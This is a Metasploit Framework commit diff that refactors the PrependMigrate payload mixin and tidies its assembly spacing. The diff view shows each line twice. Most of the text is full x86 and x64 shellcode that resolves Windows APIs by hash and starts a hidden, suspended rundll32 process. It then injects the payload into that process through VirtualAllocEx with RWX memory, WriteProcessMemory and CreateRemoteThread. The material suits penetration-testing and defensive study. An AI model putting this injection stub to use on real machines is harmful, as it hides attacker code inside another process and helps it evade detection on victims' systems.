Make asm spacing easier to read

Also adds a #prepends callback to Payload::Windows to make it a little
clearer what's happening.
bug/bundler_fix
James Lee 2013-01-22 13:25:27 -06:00
parent 66d5f39057
commit 32aa2c6d9c
3 changed files with 400 additions and 392 deletions

View File

@ -1242,15 +1242,6 @@ class Exploit < Msf::Module
not datastore['DisablePayloadHandler'] not datastore['DisablePayloadHandler']
end end
#
# Returns the state of the PrependMigrate option
# See https://github.com/rapid7/metasploit-framework/pull/917
# for discussion.
#
def prepend_migrate?
!!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')
end
## ##
# #
# Handler interaction # Handler interaction

View File

@ -12,7 +12,7 @@ require 'msf/core/payload/windows/prependmigrate'
### ###
module Msf::Payload::Windows module Msf::Payload::Windows
include Msf::Payload::PrependMigrate include Msf::Payload::Windows::PrependMigrate
# #
# ROR hash associations for some of the exit technique routines. # ROR hash associations for some of the exit technique routines.
@ -25,6 +25,18 @@ module Msf::Payload::Windows
'none' => 0x5DE2C5AA, # GetLastError 'none' => 0x5DE2C5AA, # GetLastError
} }
# @abstract Override to add additional stubs to prepend to the final
# shellcode. Be sure to call super so other modules may add stubs.
# @return [String] Stub to place at the begginning of generated shellcode
def prepends
""
end
def generate(*args)
return prepends + super
end
# #
# This mixin is chained within payloads that target the Windows platform. # This mixin is chained within payloads that target the Windows platform.
# It provides special variable substitution for things like EXITFUNC and # It provides special variable substitution for things like EXITFUNC and

View File

@ -5,7 +5,7 @@ require 'msf/core'
# This mixin provides support for generating PrependMigrate blocks for Windows payloads # This mixin provides support for generating PrependMigrate blocks for Windows payloads
# #
### ###
module Msf::Payload::PrependMigrate module Msf::Payload::Windows::PrependMigrate
# #
# Initialize # Initialize
@ -21,27 +21,32 @@ module Msf::Payload::PrependMigrate
ret ret
end end
#
# Returns the state of the PrependMigrate option
# See https://github.com/rapid7/metasploit-framework/pull/917
# for discussion.
#
def prepend_migrate?
!!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')
end
# #
# Overload the generate() call to prefix our stubs # Overload the generate() call to prefix our stubs
# #
def generate(*args) def prepends
# Call the real generator to get the payload # Call the real generator to get the payload
buf = super(*args) buf = super
pre = '' pre = ''
test_arch = [ *(self.arch) ] test_arch = [ *(self.arch) ]
# Handle all x86 code here if prepend_migrate?
if test_arch.include?(ARCH_X86) # Handle all x86 code here
# PrependMigrate if test_arch.include?(ARCH_X86)
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
migrate_asm = prepend_migrate(buf) migrate_asm = prepend_migrate(buf)
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
end # Handle all x64 code here
# Handle all x64 code here elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
# PrependMigrate
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
migrate_asm = prepend_migrate_64(buf) migrate_asm = prepend_migrate_64(buf)
pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
end end
@ -57,96 +62,96 @@ module Msf::Payload::PrependMigrate
procname = datastore['PrependMigrateProc'] || 'rundll32' procname = datastore['PrependMigrateProc'] || 'rundll32'
# Prepare instructions to get address of block_api into ebp # Prepare instructions to get address of block_api into ebp
block_api_start = <<EOS block_api_start = <<-EOS
call start call start
EOS EOS
block_api_asm = <<EOS block_api_asm = <<-EOS
api_call: api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX. pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ; next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string) mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ; loop_modname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ; jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ; not_lowercase: ;
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed ; We now have the module hash computed
push edx ; Save the current position in the module list for later push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later push edi ; Save the current module hash for later
; Proceed to iterate the export address table ; Proceed to iterate the export address table
mov edx, [edx+16] ; Get this modules base address mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
; Computing the module hash + function hash ; Computing the module hash + function hash
get_next_func: ; get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want ; And compare it to the one we want
loop_funcname: ; loop_funcname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one... ; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function... ; We now fix up the stack and perform the call to the desired function...
finish: finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value push ecx ; Push back the correct return value
jmp eax ; Jump into the required function jmp eax ; Jump into the required function
; We now automagically return to the correct caller... ; We now automagically return to the correct caller...
get_next_mod: ; get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ; get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module mov edx, [edx] ; Get the next module
jmp.i8 next_mod ; Process this module jmp.i8 next_mod ; Process this module
;-------------------------------------------------------------------------------------- ;--------------------------------------------------------------------------------------
EOS EOS
block_api_ebp_asm = <<EOS block_api_ebp_asm = <<-EOS
pop ebp ; Pop off the address of 'api_call' for calling later. pop ebp ; Pop off the address of 'api_call' for calling later.
EOS EOS
block_close_to_payload = '' block_close_to_payload = ''
# Check if we can find block_api in the payload # Check if we can find block_api in the payload
@ -156,114 +161,114 @@ EOS
# Prepare instructions to calculate address # Prepare instructions to calculate address
ebp_offset = "0x%04x" % (block_api_index + 5) ebp_offset = "0x%04x" % (block_api_index + 5)
block_api_ebp_asm = <<EOS block_api_ebp_asm = <<-EOS
jmp close_to_payload jmp close_to_payload
return_from_close_to_payload: return_from_close_to_payload:
pop ebp pop ebp
add ebp, #{ebp_offset} add ebp, #{ebp_offset}
EOS EOS
# Clear now-unneeded instructions # Clear now-unneeded instructions
block_api_asm = '' block_api_asm = ''
block_api_start = '' block_api_start = ''
block_close_to_payload = <<EOS block_close_to_payload = <<-EOS
close_to_payload: close_to_payload:
call return_from_close_to_payload call return_from_close_to_payload
EOS EOS
end end
#put all pieces together #put all pieces together
migrate_asm = <<EOS migrate_asm = <<-EOS
cld ; Clear the direction flag. cld ; Clear the direction flag.
#{block_api_start} #{block_api_start}
#{block_api_asm} #{block_api_asm}
start: start:
#{block_api_ebp_asm} #{block_api_ebp_asm}
; get our own startupinfo at esp+0x60 ; get our own startupinfo at esp+0x60
add esp,-400 ; adjust the stack to avoid corruption add esp,-400 ; adjust the stack to avoid corruption
lea edx,[esp+0x60] lea edx,[esp+0x60]
push edx push edx
push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
call ebp ; GetStartupInfoA( &si ); call ebp ; GetStartupInfoA( &si );
lea eax,[esp+0x60] ; Put startupinfo pointer back in eax lea eax,[esp+0x60] ; Put startupinfo pointer back in eax
jmp getcommand jmp getcommand
gotcommand: gotcommand:
pop esi ; esi = address of process name (command line) pop esi ; esi = address of process name (command line)
; create the process ; create the process
lea edi,[eax+0x60] ; Offset of empty space for lpProcessInformation lea edi,[eax+0x60] ; Offset of empty space for lpProcessInformation
push edi ; lpProcessInformation : write processinfo here push edi ; lpProcessInformation : write processinfo here
push eax ; lpStartupInfo : current info (read) push eax ; lpStartupInfo : current info (read)
xor ebx,ebx xor ebx,ebx
push ebx ; lpCurrentDirectory push ebx ; lpCurrentDirectory
push ebx ; lpEnvironment push ebx ; lpEnvironment
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
push ebx ; bInHeritHandles push ebx ; bInHeritHandles
push ebx ; lpThreadAttributes push ebx ; lpThreadAttributes
push ebx ; lpProcessAttributes push ebx ; lpProcessAttributes
push esi ; lpCommandLine push esi ; lpCommandLine
push ebx ; lpApplicationName push ebx ; lpApplicationName
push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
call ebp ; CreateProcessA( &si ); call ebp ; CreateProcessA( &si );
; if we didn't get a new process, use this one ; if we didn't get a new process, use this one
test eax,eax test eax,eax
jnz goodProcess ; Skip this next block if we got a new process jnz goodProcess ; Skip this next block if we got a new process
dec eax dec eax
mov [edi], eax ; handle = NtCurrentProcess() mov [edi], eax ; handle = NtCurrentProcess()
goodProcess: goodProcess:
; allocate memory in the process (VirtualAllocEx()) ; allocate memory in the process (VirtualAllocEx())
; get handle ; get handle
push 0x40 ; RWX push 0x40 ; RWX
add bh,0x10 ; ebx = 0x1000 add bh,0x10 ; ebx = 0x1000
push ebx ; MEM_COMMIT push ebx ; MEM_COMMIT
push ebx ; size push ebx ; size
xor ebx,ebx xor ebx,ebx
push ebx ; address push ebx ; address
push [edi] ; handle push [edi] ; handle
push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
call ebp ; VirtualAllocEx( ...); call ebp ; VirtualAllocEx( ...);
; eax now contains the destination ; eax now contains the destination
; WriteProcessMemory() ; WriteProcessMemory()
push esp ; lpNumberOfBytesWritten push esp ; lpNumberOfBytesWritten
push #{payloadsize} ; nSize push #{payloadsize} ; nSize
; pick up pointer to shellcode & keep it on stack ; pick up pointer to shellcode & keep it on stack
jmp begin_of_payload jmp begin_of_payload
begin_of_payload_return: ; lpBuffer begin_of_payload_return: ; lpBuffer
push eax ; lpBaseAddress push eax ; lpBaseAddress
push [edi] ; hProcess push [edi] ; hProcess
push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
call ebp ; WriteProcessMemory( ...) call ebp ; WriteProcessMemory( ...)
; run the code (CreateRemoteThread()) ; run the code (CreateRemoteThread())
push ebx ; lpthreadID push ebx ; lpthreadID
push ebx ; run immediately push ebx ; run immediately
push ebx ; no parameter push ebx ; no parameter
mov ecx,[esp-0x4] mov ecx,[esp-0x4]
push ecx ; shellcode push ecx ; shellcode
push ebx ; stacksize push ebx ; stacksize
push ebx ; lpThreadAttributes push ebx ; lpThreadAttributes
push [edi] push [edi]
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
call ebp ; CreateRemoteThread( ...); call ebp ; CreateRemoteThread( ...);
;sleep ;sleep
push -1 push -1
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
call ebp ; Sleep( ... ); call ebp ; Sleep( ... );
getcommand: getcommand:
call gotcommand call gotcommand
db "#{procname}" db "#{procname}"
db 0x00 db 0x00
#{block_close_to_payload} #{block_close_to_payload}
begin_of_payload: begin_of_payload:
call begin_of_payload_return call begin_of_payload_return
EOS EOS
migrate_asm migrate_asm
end end
@ -273,102 +278,102 @@ EOS
procname = datastore['PrependMigrateProc'] || 'rundll32' procname = datastore['PrependMigrateProc'] || 'rundll32'
# Prepare instructions to get address of block_api into ebp # Prepare instructions to get address of block_api into ebp
block_api_start = <<EOS block_api_start = <<-EOS
call start call start
EOS EOS
block_api_asm = <<EOS block_api_asm = <<-EOS
api_call: api_call:
push r9 ; Save the 4th parameter push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter push rcx ; Save the 1st parameter
push rsi ; Save RSI push rsi ; Save RSI
xor rdx, rdx ; Zero rdx xor rdx, rdx ; Zero rdx
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
next_mod: ; next_mod: ;
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ; loop_modname: ;
xor rax, rax ; Clear rax xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ; jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ; not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed ; We now have the module hash computed
push rdx ; Save the current position in the module list for later push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later push r9 ; Save the current module hash for later
; Proceed to itterate the export address table ; Proceed to itterate the export address table
mov rdx, [rdx+32] ; Get this modules base address mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address add rax, rdx ; Add the modules base address
mov eax, dword [rax+136] ; Get export tables RVA mov eax, dword [rax+136] ; Get export tables RVA
test rax, rax ; Test if no export address table is present test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT push rax ; Save the current modules EAT
mov ecx, dword [rax+24] ; Get the number of function names mov ecx, dword [rax+24] ; Get the number of function names
mov r8d, dword [rax+32] ; Get the rva of the function names mov r8d, dword [rax+32] ; Get the rva of the function names
add r8, rdx ; Add the modules base address add r8, rdx ; Add the modules base address
; Computing the module hash + function hash ; Computing the module hash + function hash
get_next_func: ; get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name xor r9, r9 ; Clear r9 which will store the hash of the function name
; And compare it to the one we want ; And compare it to the one we want
loop_funcname: ; loop_funcname: ;
xor rax, rax ; Clear rax xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+8] ; Add the current module hash to the function hash add r9, [rsp+8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one... ; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT pop rax ; Restore the current modules EAT
mov r8d, dword [rax+36] ; Get the ordinal table rva mov r8d, dword [rax+36] ; Get the ordinal table rva
add r8, rdx ; Add the modules base address add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function... ; We now fix up the stack and perform the call to the drsired function...
finish: finish:
pop r8 ; Clear off the current modules hash pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address push r10 ; push back the return address
jmp rax ; Jump into the required function jmp rax ; Jump into the required function
; We now automagically return to the correct caller... ; We now automagically return to the correct caller...
get_next_mod: ; get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ; get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module jmp next_mod ; Process this module
EOS EOS
block_api_rbp_asm = <<EOS block_api_rbp_asm = <<-EOS
pop rbp ; Pop off the address of 'api_call' for calling later. pop rbp ; Pop off the address of 'api_call' for calling later.
EOS EOS
block_close_to_payload = '' block_close_to_payload = ''
# Check if we can find block_api in the payload # Check if we can find block_api in the payload
@ -378,112 +383,112 @@ EOS
# Prepare instructions to calculate address # Prepare instructions to calculate address
rbp_offset = "0x%04x" % (block_api_index + 5) rbp_offset = "0x%04x" % (block_api_index + 5)
block_api_rbp_asm = <<EOS block_api_rbp_asm = <<-EOS
jmp close_to_payload jmp close_to_payload
return_from_close_to_payload: return_from_close_to_payload:
pop rbp pop rbp
add rbp, #{rbp_offset} add rbp, #{rbp_offset}
EOS EOS
# Clear now-unneeded instructions # Clear now-unneeded instructions
block_api_asm = '' block_api_asm = ''
block_api_start = '' block_api_start = ''
block_close_to_payload = <<EOS block_close_to_payload = <<-EOS
close_to_payload: close_to_payload:
call return_from_close_to_payload call return_from_close_to_payload
EOS EOS
end end
#put all pieces together #put all pieces together
migrate_asm = <<EOS migrate_asm = <<-EOS
cld ; Clear the direction flag. cld ; Clear the direction flag.
#{block_api_start} #{block_api_start}
#{block_api_asm} #{block_api_asm}
start: start:
#{block_api_rbp_asm} #{block_api_rbp_asm}
; get our own startupinfo at esp+0x60 ; get our own startupinfo at esp+0x60
add rsp,-400 ; adjust the stack to avoid corruption add rsp,-400 ; adjust the stack to avoid corruption
lea rcx,[rsp+0x30] lea rcx,[rsp+0x30]
mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
call rbp ; GetStartupInfoA( &si ); call rbp ; GetStartupInfoA( &si );
jmp getcommand jmp getcommand
gotcommand: gotcommand:
pop rsi ; rsi = address of process name (command line) pop rsi ; rsi = address of process name (command line)
; create the process ; create the process
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
push rdi ; lpProcessInformation : write processinfo here push rdi ; lpProcessInformation : write processinfo here
lea rcx,[rsp+0x58] lea rcx,[rsp+0x58]
push rcx ; lpStartupInfo : current info (read) push rcx ; lpStartupInfo : current info (read)
xor rcx,rcx xor rcx,rcx
push rcx ; lpCurrentDirectory push rcx ; lpCurrentDirectory
push rcx ; lpEnvironment push rcx ; lpEnvironment
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
push rcx ; bInHeritHandles push rcx ; bInHeritHandles
mov r9, rcx ; lpThreadAttributes mov r9, rcx ; lpThreadAttributes
mov r8, rcx ; lpProcessAttributes mov r8, rcx ; lpProcessAttributes
mov rdx, rsi ; lpCommandLine mov rdx, rsi ; lpCommandLine
; rcx is already zero ; lpApplicationName ; rcx is already zero ; lpApplicationName
mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
call rbp ; CreateProcessA( &si ); call rbp ; CreateProcessA( &si );
; if we didn't get a new process, use this one ; if we didn't get a new process, use this one
test rax,rax test rax,rax
jnz goodProcess ; Skip this next block if we got a new process jnz goodProcess ; Skip this next block if we got a new process
dec rax dec rax
mov [rdi], rax ; handle = NtCurrentProcess() mov [rdi], rax ; handle = NtCurrentProcess()
goodProcess: goodProcess:
; allocate memory in the process (VirtualAllocEx()) ; allocate memory in the process (VirtualAllocEx())
; get handle ; get handle
push 0x40 ; RWX push 0x40 ; RWX
mov r9,0x1000 ; 0x1000 = MEM_COMMIT mov r9,0x1000 ; 0x1000 = MEM_COMMIT
mov r8,r9 ; size mov r8,r9 ; size
xor rdx,rdx ; address xor rdx,rdx ; address
mov rcx, [rdi] ; handle mov rcx, [rdi] ; handle
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
call rbp ; VirtualAllocEx( ...); call rbp ; VirtualAllocEx( ...);
; eax now contains the destination - save in ebx ; eax now contains the destination - save in ebx
mov rbx, rax ; lpBaseAddress mov rbx, rax ; lpBaseAddress
; WriteProcessMemory() ; WriteProcessMemory()
push rsp ; lpNumberOfBytesWritten push rsp ; lpNumberOfBytesWritten
mov r9, #{payloadsize} ; nSize mov r9, #{payloadsize} ; nSize
; pick up pointer to shellcode & keep it on stack ; pick up pointer to shellcode & keep it on stack
jmp begin_of_payload jmp begin_of_payload
begin_of_payload_return: begin_of_payload_return:
pop r8 ; lpBuffer pop r8 ; lpBuffer
mov rdx, rax ; lpBaseAddress mov rdx, rax ; lpBaseAddress
mov rcx, [rdi] ; hProcess mov rcx, [rdi] ; hProcess
mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
call rbp ; WriteProcessMemory( ...); call rbp ; WriteProcessMemory( ...);
; run the code (CreateRemoteThread()) ; run the code (CreateRemoteThread())
xor rcx, rcx ; rdx = 0 xor rcx, rcx ; rdx = 0
push rcx ; lpthreadID push rcx ; lpthreadID
push rcx ; run immediately push rcx ; run immediately
push rcx ; no parameter push rcx ; no parameter
mov r9,rbx ; shellcode mov r9,rbx ; shellcode
mov r8, rcx ; stacksize mov r8, rcx ; stacksize
;rdx already equals 0 ; lpThreadAttributes ;rdx already equals 0 ; lpThreadAttributes
mov rcx, [rdi] mov rcx, [rdi]
mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
call rbp ; CreateRemoteThread( ...); call rbp ; CreateRemoteThread( ...);
;sleep ;sleep
xor rcx,rcx xor rcx,rcx
dec rcx ; rcx = -1 dec rcx ; rcx = -1
mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
call rbp ; Sleep( ... ); call rbp ; Sleep( ... );
getcommand: getcommand:
call gotcommand call gotcommand
db "#{procname}" db "#{procname}"
db 0x00 db 0x00
#{block_close_to_payload} #{block_close_to_payload}
begin_of_payload: begin_of_payload:
call begin_of_payload_return call begin_of_payload_return
EOS EOS
migrate_asm migrate_asm
end end